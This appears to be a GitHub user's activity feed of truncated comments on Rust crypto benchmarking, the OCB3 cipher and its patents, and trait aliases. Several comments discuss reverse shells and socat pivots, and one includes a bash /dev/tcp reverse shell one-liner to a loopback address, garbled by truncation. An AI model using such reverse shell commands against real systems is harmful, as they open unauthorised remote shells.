WildCryptoFox

@hdevalence `CyclesPerByte` PR open #336. Only for x86 and x86_64, assuming the cpu feature is present as we'd panic anyway, so it is feature gated under `cycles`.

@cmr suggested to try `--yasm`, which builds successfully.

+1 wanted. Also curious for how it'd compare with these.

@cyrus-and If you already have a reverse shell (`bash -c 'bash -i &>/dev/tcp/127.1/4444 0 /dev/tcp/127.1/10001) 2> /dev/null && echo opened || echo closed` ``` for p in {1..5}; do (echo...

@cyrus-and As my example demonstrates; it may not be exact, but the effect can be reconstructed and the goal satisfied. Thus my suggestion to rename the function as a "network...

I'd treat the bindless pivot not so differently to the usual reverse shell, the server listens for their connection. `socat` as I demonstrated is useful to make it appear as...

The hacky cat alternative produced in #bash on Freenode by pj appears to work. I've tested up to a 512M random file. This is as expected, quite a bit slower,...

[OCB3](https://competitions.cr.yp.to/round3/ocbv11.pdf), a solid single-pass high-performance CAESAR candidate, could do with a Rust implementation. The ciphertext is expanded by a variable length tag (whose tag length is committed). Only slightly slower...

> Gligor and Donescu (VDG) and Jutla (IBM) are inventors (owners) on US patents 6,963,976, 6,973,187, 7,093,126, and 8,107,620, **all which concern AE but which may or may not apply...

Trait aliases only support auto-traits after the + so far (or the last time I checked). Are you sure you need trait aliases? ```rust trait A = B + C;...